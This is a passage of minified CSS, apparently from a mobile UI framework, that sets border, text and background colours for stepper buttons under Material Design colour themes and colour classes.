.color-theme-green .stepper-button-minus:after,.md .color-theme-green .stepper-button-minus:before,.md .color-theme-green .stepper-button-plus:after,.md .color-theme-green .stepper-button-plus:before{background:#4caf50}.md .color-theme-green .stepper-input-wrap,.md .color-theme-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .color-theme-green .stepper-value{color:#4caf50}.md .color-theme-green .stepper .stepper-input-wrap input{color:#4caf50}.md .color-theme-green .stepper-fill .stepper-button,.md .color-theme-green .stepper-fill .stepper-button-minus,.md .color-theme-green .stepper-fill .stepper-button-plus,.md .color-theme-green .stepper-fill-md .stepper-button,.md .color-theme-green .stepper-fill-md .stepper-button-minus,.md .color-theme-green .stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md .color-theme-green .stepper-fill .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill .stepper-button.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button.active-state{background:#409343}.md .color-theme-green .stepper-fill .stepper-button-minus:after,.md .color-theme-green .stepper-fill .stepper-button-minus:before,.md .color-theme-green .stepper-fill .stepper-button-plus:after,.md .color-theme-green .stepper-fill .stepper-button-plus:before,.md .color-theme-green .stepper-fill .stepper-button:after,.md .color-theme-green .stepper-fill .stepper-button:before,.md .color-theme-green .stepper-fill-md .stepper-button-minus:after,.md .color-theme-green .stepper-fill-md .stepper-button-minus:before,.md .color-theme-green .stepper-fill-md .stepper-button-plus:after,.md .color-theme-green .stepper-fill-md .stepper-button-plus:before,.md .color-theme-green .stepper-fill-md .stepper-button:after,.md .color-theme-green .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-blue .stepper-button,.md .color-theme-blue .stepper-button-minus,.md .color-theme-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .color-theme-blue .stepper-button-minus:after,.md .color-theme-blue .stepper-button-minus:before,.md .color-theme-blue .stepper-button-plus:after,.md .color-theme-blue .stepper-button-plus:before{background:#2196f3}.md .color-theme-blue .stepper-input-wrap,.md .color-theme-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .color-theme-blue .stepper-value{color:#2196f3}.md .color-theme-blue .stepper .stepper-input-wrap input{color:#2196f3}.md .color-theme-blue .stepper-fill .stepper-button,.md .color-theme-blue .stepper-fill .stepper-button-minus,.md .color-theme-blue .stepper-fill .stepper-button-plus,.md .color-theme-blue .stepper-fill-md .stepper-button,.md .color-theme-blue .stepper-fill-md .stepper-button-minus,.md .color-theme-blue .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill .stepper-button.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .color-theme-blue .stepper-fill .stepper-button-minus:after,.md .color-theme-blue .stepper-fill .stepper-button-minus:before,.md .color-theme-blue .stepper-fill .stepper-button-plus:after,.md .color-theme-blue .stepper-fill .stepper-button-plus:before,.md .color-theme-blue .stepper-fill .stepper-button:after,.md .color-theme-blue .stepper-fill .stepper-button:before,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before,.md .color-theme-blue .stepper-fill-md .stepper-button:after,.md .color-theme-blue .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-pink .stepper-button,.md .color-theme-pink .stepper-button-minus,.md .color-theme-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .color-theme-pink .stepper-button-minus:after,.md .color-theme-pink .stepper-button-minus:before,.md .color-theme-pink .stepper-button-plus:after,.md .color-theme-pink .stepper-button-plus:before{background:#e91e63}.md .color-theme-pink .stepper-input-wrap,.md .color-theme-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .color-theme-pink .stepper-value{color:#e91e63}.md .color-theme-pink .stepper .stepper-input-wrap input{color:#e91e63}.md .color-theme-pink .stepper-fill .stepper-button,.md .color-theme-pink .stepper-fill .stepper-button-minus,.md .color-theme-pink .stepper-fill .stepper-button-plus,.md .color-theme-pink .stepper-fill-md .stepper-button,.md .color-theme-pink .stepper-fill-md .stepper-button-minus,.md .color-theme-pink .stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill .stepper-button.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .color-theme-pink .stepper-fill .stepper-button-minus:after,.md .color-theme-pink .stepper-fill .stepper-button-minus:before,.md .color-theme-pink .stepper-fill .stepper-button-plus:after,.md .color-theme-pink .stepper-fill .stepper-button-plus:before,.md .color-theme-pink .stepper-fill .stepper-button:after,.md .color-theme-pink .stepper-fill .stepper-button:before,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before,.md .color-theme-pink .stepper-fill-md .stepper-button:after,.md .color-theme-pink .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-yellow .stepper-button,.md .color-theme-yellow .stepper-button-minus,.md .color-theme-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .color-theme-yellow .stepper-button-minus:after,.md .color-theme-yellow .stepper-button-minus:before,.md .color-theme-yellow .stepper-button-plus:after,.md .color-theme-yellow .stepper-button-plus:before{background:#ffeb3b}.md .color-theme-yellow .stepper-input-wrap,.md .color-theme-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .color-theme-yellow .stepper-value{color:#ffeb3b}.md .color-theme-yellow .stepper .stepper-input-wrap input{color:#ffeb3b}.md .color-theme-yellow .stepper-fill .stepper-button,.md .color-theme-yellow .stepper-fill .stepper-button-minus,.md .color-theme-yellow .stepper-fill .stepper-button-plus,.md .color-theme-yellow .stepper-fill-md .stepper-button,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .color-theme-yellow .stepper-fill .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill .stepper-button:after,.md .color-theme-yellow .stepper-fill .stepper-button:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button:after,.md .color-theme-yellow .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-orange .stepper-button,.md .color-theme-orange .stepper-button-minus,.md .color-theme-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .color-theme-orange .stepper-button-minus:after,.md .color-theme-orange .stepper-button-minus:before,.md .color-theme-orange .stepper-button-plus:after,.md .color-theme-orange .stepper-button-plus:before{background:#ff9800}.md .color-theme-orange .stepper-input-wrap,.md .color-theme-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .color-theme-orange .stepper-value{color:#ff9800}.md .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9800}.md .color-theme-orange .stepper-fill .stepper-button,.md .color-theme-orange .stepper-fill .stepper-button-minus,.md .color-theme-orange .stepper-fill .stepper-button-plus,.md .color-theme-orange .stepper-fill-md .stepper-button,.md .color-theme-orange .stepper-fill-md .stepper-button-minus,.md .color-theme-orange .stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill .stepper-button.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button.active-state{background:#d68000}.md .color-theme-orange .stepper-fill .stepper-button-minus:after,.md .color-theme-orange .stepper-fill .stepper-button-minus:before,.md .color-theme-orange .stepper-fill .stepper-button-plus:after,.md .color-theme-orange .stepper-fill .stepper-button-plus:before,.md .color-theme-orange .stepper-fill .stepper-button:after,.md .color-theme-orange .stepper-fill .stepper-button:before,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before,.md .color-theme-orange .stepper-fill-md .stepper-button:after,.md .color-theme-orange .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-gray .stepper-button,.md .color-theme-gray .stepper-button-minus,.md .color-theme-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .color-theme-gray .stepper-button-minus:after,.md .color-theme-gray .stepper-button-minus:before,.md .color-theme-gray .stepper-button-plus:after,.md .color-theme-gray .stepper-button-plus:before{background:#9e9e9e}.md .color-theme-gray .stepper-input-wrap,.md .color-theme-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .color-theme-gray .stepper-value{color:#9e9e9e}.md .color-theme-gray .stepper .stepper-input-wrap input{color:#9e9e9e}.md .color-theme-gray .stepper-fill .stepper-button,.md .color-theme-gray .stepper-fill .stepper-button-minus,.md .color-theme-gray .stepper-fill .stepper-button-plus,.md .color-theme-gray .stepper-fill-md .stepper-button,.md .color-theme-gray .stepper-fill-md .stepper-button-minus,.md .color-theme-gray .stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill .stepper-button.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md .color-theme-gray .stepper-fill .stepper-button-minus:after,.md .color-theme-gray .stepper-fill .stepper-button-minus:before,.md .color-theme-gray .stepper-fill .stepper-button-plus:after,.md .color-theme-gray .stepper-fill .stepper-button-plus:before,.md .color-theme-gray .stepper-fill .stepper-button:after,.md .color-theme-gray .stepper-fill .stepper-button:before,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before,.md .color-theme-gray .stepper-fill-md .stepper-button:after,.md .color-theme-gray .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-white .stepper-button,.md .color-theme-white .stepper-button-minus,.md .color-theme-white .stepper-button-plus{border-color:#fff;color:#fff}.md .color-theme-white .stepper-button-minus:after,.md .color-theme-white .stepper-button-minus:before,.md .color-theme-white .stepper-button-plus:after,.md .color-theme-white .stepper-button-plus:before{background:#fff}.md .color-theme-white .stepper-input-wrap,.md .color-theme-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .color-theme-white .stepper-value{color:#fff}.md .color-theme-white .stepper .stepper-input-wrap input{color:#fff}.md .color-theme-white .stepper-fill .stepper-button,.md .color-theme-white .stepper-fill .stepper-button-minus,.md .color-theme-white .stepper-fill .stepper-button-plus,.md .color-theme-white .stepper-fill-md .stepper-button,.md .color-theme-white .stepper-fill-md .stepper-button-minus,.md .color-theme-white .stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .color-theme-white .stepper-fill .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill .stepper-button.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .color-theme-white .stepper-fill .stepper-button-minus:after,.md .color-theme-white .stepper-fill .stepper-button-minus:before,.md .color-theme-white .stepper-fill .stepper-button-plus:after,.md .color-theme-white .stepper-fill .stepper-button-plus:before,.md .color-theme-white .stepper-fill .stepper-button:after,.md .color-theme-white .stepper-fill .stepper-button:before,.md .color-theme-white .stepper-fill-md .stepper-button-minus:after,.md .color-theme-white .stepper-fill-md .stepper-button-minus:before,.md .color-theme-white .stepper-fill-md .stepper-button-plus:after,.md .color-theme-white .stepper-fill-md .stepper-button-plus:before,.md .color-theme-white .stepper-fill-md .stepper-button:after,.md .color-theme-white .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-black .stepper-button,.md .color-theme-black .stepper-button-minus,.md .color-theme-black .stepper-button-plus{border-color:#000;color:#000}.md .color-theme-black .stepper-button-minus:after,.md .color-theme-black .stepper-button-minus:before,.md .color-theme-black .stepper-button-plus:after,.md .color-theme-black .stepper-button-plus:before{background:#000}.md .color-theme-black .stepper-input-wrap,.md .color-theme-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .color-theme-black .stepper-value{color:#000}.md .color-theme-black .stepper .stepper-input-wrap input{color:#000}.md .color-theme-black .stepper-fill .stepper-button,.md .color-theme-black .stepper-fill .stepper-button-minus,.md .color-theme-black .stepper-fill .stepper-button-plus,.md .color-theme-black .stepper-fill-md .stepper-button,.md .color-theme-black .stepper-fill-md .stepper-button-minus,.md .color-theme-black .stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .color-theme-black .stepper-fill .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill .stepper-button.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button.active-state{background:#000}.md .color-theme-black .stepper-fill .stepper-button-minus:after,.md .color-theme-black .stepper-fill .stepper-button-minus:before,.md .color-theme-black .stepper-fill .stepper-button-plus:after,.md .color-theme-black .stepper-fill .stepper-button-plus:before,.md .color-theme-black .stepper-fill .stepper-button:after,.md .color-theme-black .stepper-fill .stepper-button:before,.md .color-theme-black .stepper-fill-md .stepper-button-minus:after,.md .color-theme-black .stepper-fill-md .stepper-button-minus:before,.md .color-theme-black .stepper-fill-md .stepper-button-plus:after,.md .color-theme-black .stepper-fill-md .stepper-button-plus:before,.md .color-theme-black .stepper-fill-md .stepper-button:after,.md .color-theme-black .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-red .stepper-button,.md .stepper.color-red .stepper-button-minus,.md .stepper.color-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .stepper.color-red .stepper-button-minus:after,.md .stepper.color-red .stepper-button-minus:before,.md .stepper.color-red .stepper-button-plus:after,.md .stepper.color-red .stepper-button-plus:before{background:#f44336}.md .stepper.color-red .stepper-input-wrap,.md .stepper.color-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .stepper.color-red .stepper-value{color:#f44336}.md .stepper.color-red .stepper-input-wrap input{color:#f44336}.md .stepper.color-red.stepper-fill .stepper-button,.md .stepper.color-red.stepper-fill .stepper-button-minus,.md .stepper.color-red.stepper-fill .stepper-button-plus,.md .stepper.color-red.stepper-fill-md .stepper-button,.md .stepper.color-red.stepper-fill-md .stepper-button-minus,.md .stepper.color-red.stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill .stepper-button.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .stepper.color-red.stepper-fill .stepper-button-minus:after,.md .stepper.color-red.stepper-fill .stepper-button-minus:before,.md .stepper.color-red.stepper-fill .stepper-button-plus:after,.md .stepper.color-red.stepper-fill .stepper-button-plus:before,.md .stepper.color-red.stepper-fill .stepper-button:after,.md .stepper.color-red.stepper-fill .stepper-button:before,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-red.stepper-fill-md .stepper-button:after,.md .stepper.color-red.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-green .stepper-button,.md .stepper.color-green .stepper-button-minus,.md .stepper.color-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md .stepper.color-green .stepper-button-minus:after,.md .stepper.color-green .stepper-button-minus:before,.md .stepper.color-green .stepper-button-plus:after,.md .stepper.color-green .stepper-button-plus:before{background:#4caf50}.md .stepper.color-green .stepper-input-wrap,.md .stepper.color-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .stepper.color-green .stepper-value{color:#4caf50}.md .stepper.color-green .stepper-input-wrap input{color:#4caf50}.md .stepper.color-green.stepper-fill .stepper-button,.md .stepper.color-green.stepper-fill .stepper-button-minus,.md .stepper.color-green.stepper-fill .stepper-button-plus,.md .stepper.color-green.stepper-fill-md .stepper-button,.md .stepper.color-green.stepper-fill-md .stepper-button-minus,.md .stepper.color-green.stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md .stepper.color-green.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill .stepper-button.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button.active-state{background:#409343}.md .stepper.color-green.stepper-fill .stepper-button-minus:after,.md .stepper.color-green.stepper-fill .stepper-button-minus:before,.md .stepper.color-green.stepper-fill .stepper-button-plus:after,.md .stepper.color-green.stepper-fill .stepper-button-plus:before,.md .stepper.color-green.stepper-fill .stepper-button:after,.md .stepper.color-green.stepper-fill .stepper-button:before,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-green.stepper-fill-md .stepper-button:after,.md .stepper.color-green.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-blue .stepper-button,.md .stepper.color-blue .stepper-button-minus,.md .stepper.color-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .stepper.color-blue .stepper-button-minus:after,.md .stepper.color-blue .stepper-button-minus:before,.md .stepper.color-blue .stepper-button-plus:after,.md .stepper.color-blue .stepper-button-plus:before{background:#2196f3}.md .stepper.color-blue .stepper-input-wrap,.md .stepper.color-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .stepper.color-blue .stepper-value{color:#2196f3}.md .stepper.color-blue .stepper-input-wrap input{color:#2196f3}.md .stepper.color-blue.stepper-fill .stepper-button,.md .stepper.color-blue.stepper-fill .stepper-button-minus,.md .stepper.color-blue.stepper-fill .stepper-button-plus,.md .stepper.color-blue.stepper-fill-md .stepper-button,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper.color-blue.stepper-fill .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill .stepper-button:after,.md .stepper.color-blue.stepper-fill .stepper-button:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button:after,.md .stepper.color-blue.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-pink .stepper-button,.md .stepper.color-pink .stepper-button-minus,.md .stepper.color-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .stepper.color-pink .stepper-button-minus:after,.md .stepper.color-pink .stepper-button-minus:before,.md .stepper.color-pink .stepper-button-plus:after,.md .stepper.color-pink .stepper-button-plus:before{background:#e91e63}.md .stepper.color-pink .stepper-input-wrap,.md .stepper.color-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .stepper.color-pink .stepper-value{color:#e91e63}.md .stepper.color-pink .stepper-input-wrap input{color:#e91e63}.md .stepper.color-pink.stepper-fill .stepper-button,.md .stepper.color-pink.stepper-fill .stepper-button-minus,.md .stepper.color-pink.stepper-fill .stepper-button-plus,.md .stepper.color-pink.stepper-fill-md .stepper-button,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .stepper.color-pink.stepper-fill .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill .stepper-button:after,.md .stepper.color-pink.stepper-fill .stepper-button:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button:after,.md .stepper.color-pink.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-yellow .stepper-button,.md .stepper.color-yellow .stepper-button-minus,.md .stepper.color-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .stepper.color-yellow .stepper-button-minus:after,.md .stepper.color-yellow .stepper-button-minus:before,.md .stepper.color-yellow .stepper-button-plus:after,.md .stepper.color-yellow .stepper-button-plus:before{background:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap,.md .stepper.color-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .stepper.color-yellow .stepper-value{color:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap input{color:#ffeb3b}.md .stepper.color-yellow.stepper-fill .stepper-button,.md .stepper.color-yellow.stepper-fill .stepper-button-minus,.md .stepper.color-yellow.stepper-fill .stepper-button-plus,.md .stepper.color-yellow.stepper-fill-md .stepper-button,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill .stepper-button:after,.md .stepper.color-yellow.stepper-fill .stepper-button:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-orange .stepper-button,.md .stepper.color-orange .stepper-button-minus,.md .stepper.color-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .stepper.color-orange .stepper-button-minus:after,.md .stepper.color-orange .stepper-button-minus:before,.md .stepper.color-orange .stepper-button-plus:after,.md .stepper.color-orange .stepper-button-plus:before{background:#ff9800}.md .stepper.color-orange .stepper-input-wrap,.md .stepper.color-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .stepper.color-orange .stepper-value{color:#ff9800}.md .stepper.color-orange .stepper-input-wrap input{color:#ff9800}.md .stepper.color-orange.stepper-fill .stepper-button,.md .stepper.color-orange.stepper-fill .stepper-button-minus,.md .stepper.color-orange.stepper-fill .stepper-button-plus,.md .stepper.color-orange.stepper-fill-md .stepper-button,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state{background:#d68000}.md .stepper.color-orange.stepper-fill .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill .stepper-button:after,.md .stepper.color-orange.stepper-fill .stepper-button:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button:after,.md .stepper.color-orange.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-gray .stepper-button,.md .stepper.color-gray .stepper-button-minus,.md .stepper.color-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .stepper.color-gray .stepper-button-minus:after,.md .stepper.color-gray .stepper-button-minus:before,.md .stepper.color-gray .stepper-button-plus:after,.md .stepper.color-gray .stepper-button-plus:before{background:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap,.md .stepper.color-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .stepper.color-gray .stepper-value{color:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap input{color:#9e9e9e}.md .stepper.color-gray.stepper-fill .stepper-button,.md .stepper.color-gray.stepper-fill .stepper-button-minus,.md .stepper.color-gray.stepper-fill .stepper-button-plus,.md .stepper.color-gray.stepper-fill-md .stepper-button,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md 